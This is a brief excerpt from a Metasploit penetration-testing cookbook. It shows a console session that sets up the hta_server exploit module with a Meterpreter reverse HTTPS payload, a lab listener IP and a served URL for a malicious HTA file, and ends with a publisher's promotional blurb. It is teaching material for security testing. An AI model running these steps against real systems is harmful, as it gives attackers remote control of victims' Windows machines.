How to do it...

To use, simply set the IP for the server, a custom URI, the payload you which to execute, and the IP of the listener:

root@kali:~# msfconsole -qmsf > use exploit/windows/misc/hta_servermsf exploit(windows/misc/hta_server) > set SRVHOST 192.168.216.5 SRVHOST => 192.168.216.5msf exploit(windows/misc/hta_server) > set URIPATH formURIPATH => formmsf exploit(windows/misc/hta_server) > set PAYLOAD windows/meterpreter/reverse_httpsPAYLOAD => windows/meterpreter/reverse_httpsmsf exploit(windows/misc/hta_server) > set LHOST 192.168.216.5 LHOST => 192.168.216.5msf exploit(windows/misc/hta_server) > exploit [*] Exploit running as background job 0.[*] Started HTTPS reverse handler on https://192.168.216.5:8443[*] Using URL: http://192.168.216.5:8080/form ...

Get Metasploit Penetration Testing Cookbook - Third Edition now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.